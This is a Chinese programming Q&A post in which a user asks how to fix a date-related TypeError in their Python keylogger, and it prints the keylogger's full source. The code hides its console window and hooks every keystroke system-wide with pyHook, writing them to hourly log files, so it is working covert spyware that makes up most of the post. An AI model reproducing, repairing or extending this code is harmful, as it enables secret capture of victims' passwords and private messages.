制作keylogg中的日期问题

2022-01-19 01:10:38 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在用python制作一个键记录器它已经完成了,但是我想用日期和时间名称来命名文件,因为这样读起来很容易,但是它会给我这个错误:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "D:/omar/Python/projects/windows/Windows_keyLogger.py", line 14, in pressed_chars
    date = str(datetime.date.today())
TypeError: an integer is required

这是我的密码:

import pyHook
import pythoncom
import win32gui
import win32console
import datetime
import time
import os

window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window

def pressed_chars(event):
    try:
        date = str(datetime.date.today())
        hour = str(datetime.datetime.now().strftime("%H"))
        write = open("D:/mine/" + date + "/" + hour + "/" + hour + ".log", 'a')
    except IOError:
        try:
            date = str(datetime.date.today())
            os.makedirs("D:/mine/" + date + "/" + hour)
        except OSError, e:
            if e.errno != 17:
                raise
            time.sleep(1)
            pass
    if event.Ascii:
        char = chr(event.Ascii) # (insert real char in variable)
        if event.Ascii == 13:   # (if char is "return")
            write.write("\n")       # (new line)
        write.write(char)           # (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()         #get input

我必须写这两行吗

 window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window